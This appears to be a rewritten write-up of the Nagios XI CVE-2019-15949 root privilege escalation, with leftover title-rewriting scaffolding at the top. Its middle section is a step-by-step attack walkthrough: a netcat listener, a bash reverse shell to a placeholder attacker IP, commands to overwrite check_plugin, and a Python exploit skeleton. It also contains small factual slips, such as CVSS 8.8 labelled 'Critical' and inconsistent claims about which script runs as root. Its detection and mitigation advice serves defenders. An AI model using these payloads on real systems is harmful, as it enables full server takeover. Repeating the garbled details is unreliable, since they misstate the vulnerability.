*CVE-2019-15949: Nagios XI Root RCE via `getprofile.sh`*

CVE-2019-15949: Nagios XI Root RCE via getprofile.sh
1. IMPROVED TITLE
Title Variations:
- CVE-2019-15949: Nagios XI Root RCE Exploit Analysis
- Nagios XI RCE: CVE-2019-15949 Privilege Escalation
- Exploiting CVE-2019-15949: Nagios XI Root Compromise
- CVE-2019-15949: Nagios XI
getprofile.shRoot RCE Deep Dive - Nagios XI Root RCE (CVE-2019-15949): Technical Exploit
BEST TITLE:
CVE-2019-15949: Nagios XI Root RCE Exploit Analysis
2. REWRITTEN ARTICLE
/post/cves/cve-2019-15949-nagios-xi-lab
CVE-2019-15949: Nagios XI Root RCE Exploit Analysis
This analysis dissects CVE-2019-15949, a critical vulnerability that provided attackers with a direct path to achieve full root privileges on Nagios XI servers. For any organization relying on Nagios XI for vital infrastructure monitoring, this flaw represented a significant blind spot, enabling attackers to seize complete control of their systems. We will delve into the technical mechanics of this privilege escalation, illustrate a realistic attack vector, and provide actionable insights for detection and defense.
Executive Technical Summary
Nagios XI versions preceding 5.6.6 contained a critical vulnerability allowing authenticated users to execute arbitrary commands with root privileges remotely. The exploit chain typically begins with an attacker gaining authenticated access to the Nagios XI web interface or by compromising the nagios user directly. The vulnerability leverages the getprofile.sh script, which is invoked during system profile downloads initiated via profile.php?cmd=download. The core weakness lies in a misconfigured passwordless sudo entry for getprofile.sh, allowing it to execute as root. This script subsequently calls check_plugin, an executable owned by the nagios user. An attacker with the ability to modify plugins, or an already compromised nagios user, can tamper with check_plugin to inject malicious commands. These commands are then executed with the highest privileges on the system, granting complete root access.
Technical Deep-Dive: Root Cause Analysis
- CVE ID: CVE-2019-15949
- NVD Published: 2019-09-05
- CISA KEV Added: 2021-11-03
- CVSS v3.1 Score: 8.8 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Impact: High Confidentiality, High Integrity, High Availability
- Exploitability: Network Attack Vector, Low Attack Complexity, Low Privileges Required, No User Interaction
Vulnerability Class: Privilege Escalation via Insecure sudo Configuration and Executable Path Manipulation.
Root Cause Explanation:
The crux of CVE-2019-15949 lies in a critical trust boundary violation and a flawed privilege escalation mechanism within Nagios XI's diagnostic scripting.
- Insecure
sudoConfiguration: Thegetprofile.shscript was configured in thesudoersfile to execute withrootprivileges without requiring a password. While common for administrative tasks, this becomes a severe security risk when the script's execution path can be influenced by lower-privileged users. - User-Owned Executable Dependency:
getprofile.shis designed to gather system diagnostic information. As part of its execution flow, it invokes thecheck_pluginbinary. Crucially, thischeck_pluginbinary, despite being called by aroot-privileged script, is owned by thenagiosuser. - Trust Boundary Violation: The vulnerability emerges because the
root-privilegedgetprofile.shscript implicitly trusts the integrity of thecheck_pluginexecutable. An attacker who can modifycheck_plugin(e.g., an authenticated Nagios XI administrator with plugin management rights, or a compromisednagiosuser) can replace the legitimatecheck_pluginwith their own malicious code. Whengetprofile.shis triggered, it executes this tamperedcheck_pluginwithrootprivileges.
In essence, the system trusts getprofile.sh to run as root, and getprofile.sh trusts check_plugin to be benign. By controlling check_plugin, an attacker hijacks the execution context of a root-privileged script, achieving privilege escalation.
Exploitation Analysis: The Realistic Attack Path
CVE-2019-15949 offers a potent privilege escalation vector for an attacker who has already established a foothold within the Nagios XI environment.
Realistic Attack Scenario:
Initial Access: The attacker's primary objective is to gain authenticated access to the Nagios XI web interface. This can be achieved through:
- Credential Compromise: Brute-forcing, credential stuffing, or social engineering targeting Nagios XI login credentials.
- Exploiting Other Vulnerabilities: Chaining other known or zero-day vulnerabilities in Nagios XI, its web server, or underlying components to gain initial access.
- Internal Compromise: Direct shell access as the
nagiosuser through other means.
Exploitation Primitive - Plugin Tampering: Once authenticated with sufficient privileges (e.g., as an administrator with rights to manage plugins, or directly as the
nagiosuser), the attacker targets thecheck_pluginexecutable. The typical location is/usr/local/nagiosxi/nagios/libexec/check_plugin. The attacker overwrites this file with their malicious payload. This payload could be a shell script designed to establish a reverse shell, or a compiled binary executing arbitrary commands.Triggering the Vulnerability: The attacker then navigates the Nagios XI web interface to initiate a system profile download. This action is typically performed via the "System Profile" or "Download Profile" section, which back-endally calls
profile.php?cmd=download.Privilege Escalation Achieved: The
profile.phpscript, executed withrootprivileges viasudo, calls the now-tamperedcheck_plugin. The attacker's injected code is executed withrootprivileges, granting them complete control over the server.
What the Attacker Gains:
- Full System Compromise: Complete command and control over the Nagios XI server as the
rootuser. - Data Exfiltration: Access to all sensitive monitoring data, configuration files, credentials stored within Nagios XI, and potentially other data residing on the server.
- Lateral Movement: The compromised Nagios XI server becomes a pivot point to launch further attacks against other systems within the internal network.
- Persistence: The attacker can establish persistent access by installing backdoors, creating new user accounts, or modifying system services to ensure continued access even after reboots.
Real-World Scenarios & Weaponized Exploitation
CVE-2019-15949 is a straightforward privilege escalation once initial access is secured. The core task is to replace check_plugin with a payload and trigger the profile download.
Conceptual Exploit Flow:
1. **Gain Access:** Authenticate to Nagios XI web interface (e.g., as admin) or gain shell as 'nagios' user.
2. **Locate Target:** Identify the `check_plugin` executable path (e.g., /usr/local/nagiosxi/nagios/libexec/check_plugin).
3. **Prepare Payload:** Craft a malicious script to establish a reverse shell.
4. **Overwrite Plugin:** Replace the legitimate `check_plugin` with the malicious script.
5. **Trigger Download:** Navigate to Admin > System Configuration > System Profile and click "Download Profile".
6. **Receive Shell:** A `root` reverse shell connects back to the attacker's listener.Step-by-Step Compromise (Illustrative):
This assumes you have authenticated as an administrator to http://nagios-xi-host/nagiosxi/ and have the ability to execute commands on the server (e.g., via an authenticated command injection vulnerability, or by having nagios user credentials).
On Your Attacker Machine: Start a listener to catch the incoming reverse shell.
nc -lvnp 4444Prepare Malicious Plugin: Create a script that establishes a reverse shell.
#!/bin/bash # CVE-2019-15949 Payload: Reverse Shell /bin/bash -i >& /dev/tcp/YOUR_ATTACKER_IP/4444 0>&1 exit 0Save this as
malicious_check_plugin.Deploy the Payload: You need to get this script onto the Nagios XI server and replace the original
check_plugin. If you have SSH access as thenagiosuser, this is simple:On your attacker machine:
# Create the malicious script file echo '#!/bin/bash\n/bin/bash -i >& /dev/tcp/YOUR_ATTACKER_IP/4444 0>&1\nexit 0' > malicious_check_plugin # Transfer it to the Nagios XI server scp malicious_check_plugin nagios@nagios-xi-host:/tmp/malicious_check_pluginOn the Nagios XI server (via SSH as
nagiosuser):# Move the malicious script to the target location and make it executable sudo mv /tmp/malicious_check_plugin /usr/local/nagiosxi/nagios/libexec/check_plugin sudo chmod +x /usr/local/nagiosxi/nagios/libexec/check_pluginIf direct SSH access isn't available, an authenticated administrator could potentially upload this file via a vulnerable web interface, or another exploit could be chained to gain shell access first.
Trigger Profile Download: Log into the Nagios XI web interface, navigate to Admin > System Configuration > System Profile, and click Download Profile.
Receive Root Shell: If successful, your
nclistener on the attacker machine should receive arootshell connection.
Conceptual Python Exploit Snippet (Illustrative - requires authenticated HTTP requests):
This snippet demonstrates the logic of an exploit, not a functional, ready-to-run script, as it requires precise knowledge of Nagios XI's internal API endpoints and session management.
import requests
import os
# --- Configuration ---
NAGIOS_HOST = "http://nagios-xi-host/nagiosxi" # Replace with target IP/hostname
USERNAME = "admin_user" # Replace with authenticated user
PASSWORD = "admin_password" # Replace with user's password
ATTACKER_IP = "YOUR_ATTACKER_IP" # Your IP for the reverse shell
ATTACKER_PORT = 4444 # Port for the reverse shell
# --- Payload Generation ---
# This is the content of the malicious check_plugin script
malicious_script_content = f"""#!/bin/bash
/bin/bash -i >& /dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} 0>&1
exit 0
"""
# --- Exploit Steps ---
def exploit_nagios_cve_2019_15949():
session = requests.Session()
# 1. Authenticate to Nagios XI
# NOTE: Actual login process might involve CSRF tokens and specific POST data.
# This is a simplified representation.
login_url = f"{NAGIOS_HOST}/includes/components/login/login.php"
login_payload = {
"username": USERNAME,
"password": PASSWORD,
# Add other required login parameters if any
}
print(f"Attempting to log in to {NAGIOS_HOST}...")
try:
response = session.post(login_url, data=login_payload, timeout=10)
response.raise_for_status() # Raise an exception for bad status codes
print("Login successful (assuming response is valid).")
# You would typically inspect the response to confirm login success
# and extract session cookies.
except requests.exceptions.RequestException as e:
print(f"Login failed: {e}")
return
# 2. Upload/Place the Malicious Plugin
# This is the most challenging part via HTTP alone. It requires:
# a) A way to upload files via the web interface (e.g., a vulnerable component)
# b) An authenticated command execution vulnerability to write the file directly.
# For this conceptual example, we'll assume we can write the file.
# In a real scenario, you'd POST to an endpoint that allows file writing.
plugin_path = "/usr/local/nagiosxi/nagios/libexec/check_plugin"
print(f"Attempting to replace {plugin_path} with malicious payload...")
# This requires an endpoint that allows writing to the filesystem.
# Example: A POST request to a component that handles file uploads or
# has a vulnerable command execution feature.
# For demonstration, we'll simulate this action.
# A real implementation would involve finding that specific endpoint.
print("Simulating file write for check_plugin...")
# Example:
# file_upload_url = f"{NAGIOS_HOST}/some/vulnerable/upload/endpoint"
# files = {'file': ('check_plugin', malicious_script_content, 'application/octet-stream')}
# response = session.post(file_upload_url, files=files)
# response.raise_for_status()
# If direct write is possible:
# write_command_url = f"{NAGIOS_HOST}/api/command/execute" # Hypothetical
# write_command_payload = {"command": f"echo '{malicious_script_content}' > {plugin_path} && chmod +x {plugin_path}"}
# response = session.post(write_command_url, json=write_command_payload)
# response.raise_for_status()
print("Plugin replacement simulated.")
# 3. Trigger Profile Download
# This action typically involves a GET or POST request to a specific endpoint.
# We need to find the correct URL and parameters.
profile_download_trigger_url = f"{NAGIOS_HOST}/profile.php?cmd=download"
print(f"Triggering profile download at: {profile_download_trigger_url}")
try:
# The actual request might need to be a POST depending on how it's handled.
response = session.get(profile_download_trigger_url, timeout=10)
response.raise_for_status()
print("Profile download initiated. Check your listener for a root shell!")
except requests.exceptions.RequestException as e:
print(f"Failed to trigger profile download: {e}")
if __name__ == "__main__":
# Before running, ensure your listener is active and replace placeholders.
# This script is for educational purposes and requires adaptation.
exploit_nagios_cve_2019_15949()Detection and Mitigation Strategies
Effective defense against CVE-2019-15949 hinges on a proactive security posture, focusing on preventing unauthorized access, detecting malicious activities, and applying timely patches.
What to Monitor:
- File Integrity Monitoring (FIM): Implement FIM solutions to monitor critical executables, particularly within
/usr/local/nagiosxi/nagios/libexec/and other Nagios XI installation directories. Generate alerts for any unauthorized modifications tocheck_pluginor other binaries. - Process Execution Monitoring: Log and alert on the execution of
getprofile.sh. Pay close attention to the parent process and user context. Any execution outside of scheduled administrative tasks or from unexpected sources should be treated as a high-priority event. sudoLog Analysis: Regularly auditsudologs for any unusual or unexpected invocations ofgetprofile.sh. While this vulnerability bypasses the password prompt, thesudocommand itself is logged, providing a crucial detection point.- Network Traffic Analysis: Monitor for anomalous outbound network connections originating from the Nagios XI server, especially to external IP addresses on common reverse shell ports (e.g., 4444, 1337, 8080).
- Web Server Access Logs: Scrutinize web server access logs for suspicious requests to
profile.phpor related system profile download endpoints, particularly if they originate from unusual user accounts or occur outside of standard operational hours.
Defensive Insights:
- Patch Management is Paramount: The most effective mitigation is to upgrade Nagios XI to version 5.6.6 or a later, patched version. This rectifies the insecure
sudoconfiguration that enables the vulnerability. - Principle of Least Privilege: Enforce the principle of least privilege for Nagios XI administrator accounts. Restrict any administrative functions related to plugin management to a minimal, trusted group of personnel.
- Harden
sudoersConfiguration: Conduct regular audits and hardening of the/etc/sudoersfile. Avoid passwordlesssudoentries for scripts that execute other binaries, especially if those binaries can be influenced by lower-privileged users. If passwordlesssudois deemed necessary, restrict it to specific commands and users with stringent parameters. - General Nagios XI Hardening: Implement comprehensive security best practices for your Nagios XI deployment. This includes enforcing strong password policies, disabling unnecessary services, conducting regular security audits, and maintaining secure network configurations.
- Network Segmentation: Isolate Nagios XI servers within a dedicated network segment. This limits the impact of a compromise and prevents the Nagios XI server from serving as an easy pivot point into more critical network zones.
Affected Versions and Products
- Product: Nagios XI
- Affected Versions: All versions prior to 5.6.6
Weakness Classification
- CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- Note: While often categorized under command injection, the primary mechanism here is privilege escalation by exploiting an insecure
sudoconfiguration and manipulating an executable path, rather than direct command injection into a user-controlled input.
- Note: While often categorized under command injection, the primary mechanism here is privilege escalation by exploiting an insecure
Repositories for Lab Validation (Public Examples)
These repositories may contain related information, PoCs, or tools for understanding exploitation techniques. Direct exploits for this specific CVE might require adaptation based on the target environment.
- plur1bu5/Nagios-CVE-2019-15949-RCE: https://github.com/plur1bu5/Nagios-CVE-2019-15949-RCE
- Notes: A Python Proof-of-Concept for Nagios XI CVE-2019-15949 RCE.
- jakgibb/nagiosxi-root-rce-exploit: https://github.com/jakgibb/nagiosxi-root-rce-exploit
- Notes: Exploit script for Nagios XI CVE-2019-15949.
- Ostorlab/KEV: https://github.com/Ostorlab/KEV
- Notes: Ostorlab KEV: One-command to detect most remotely known exploitable vulnerabilities. Sourced from CISA KEV, Google's Tsunami, Ostorlab's Asteroid and Bug Bounty programs.
- Esther7171/TryHackMe-Walkthroughs: https://github.com/Esther7171/TryHackMe-Walkthroughs
- Notes: TryHackMe walkthroughs and CTF writeups for web exploitation, privilege escalation, and real-world penetration testing techniques.
References
- NVD Record: https://nvd.nist.gov/vuln/detail/CVE-2019-15949
- MITRE CVE Record: https://www.cve.org/CVERecord?id=CVE-2019-15949
- CISA KEV Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- Packet Storm Security (Exploit): http://packetstormsecurity.com/files/156676/Nagios-XI-Authenticated-Remote-Command-Execution.html
- Packet Storm Security (Advisory): http://packetstormsecurity.com/files/162158/Nagios-XI-getprofile.sh-Remote-Command-Execution.html
Disclaimer: This content is intended for authorized security research, defensive training, and ethical penetration testing purposes only. Unauthorized access or exploitation of computer systems is illegal and unethical. Always ensure you have explicit permission before conducting any security testing.
